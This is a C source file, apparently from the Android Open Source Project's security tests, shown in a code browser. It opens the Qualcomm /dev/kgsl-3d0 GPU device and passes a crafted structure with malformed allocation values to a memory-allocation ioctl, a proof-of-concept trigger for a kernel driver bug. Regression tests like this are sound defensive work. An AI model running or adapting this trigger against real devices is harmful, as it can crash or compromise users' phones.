• Home
  • Line#
  • Scopes#
  • Navigate#
  • Raw
  • Download
1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 #define _GNU_SOURCE
17 #include <sys/types.h>
18 #include <sys/wait.h>
19 #include <unistd.h>
20 #include <stdint.h>
21 #include <string.h>
22 #include <sys/mman.h>
23 #include <sys/syscall.h>
24 #include <fcntl.h>
25 
26 #define IOCTL_KGSL_GPUMEM_ALLOC 0xc018092ful
main()27 int main() {
28   int fd = open("/dev/kgsl-3d0", 0);
29   mmap((void *)0x20000000ul, 0xd000ul, PROT_READ | PROT_WRITE,
30        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
31 
32   *(uint64_t *)0x20000ff0 = (uint64_t)0xfffffffffffff416;
33   *(uint32_t *)0x20000ff8 = (uint32_t)0x80;
34   *(uint32_t *)0x20000ffc = (uint32_t)0x8000;
35   *(uint32_t *)0x20001000 = (uint32_t)0x12345678;
36   ioctl(fd, 0xc018092ful, 0x20000ff0ul);
37   close(fd);
38   return 0;
39 }
40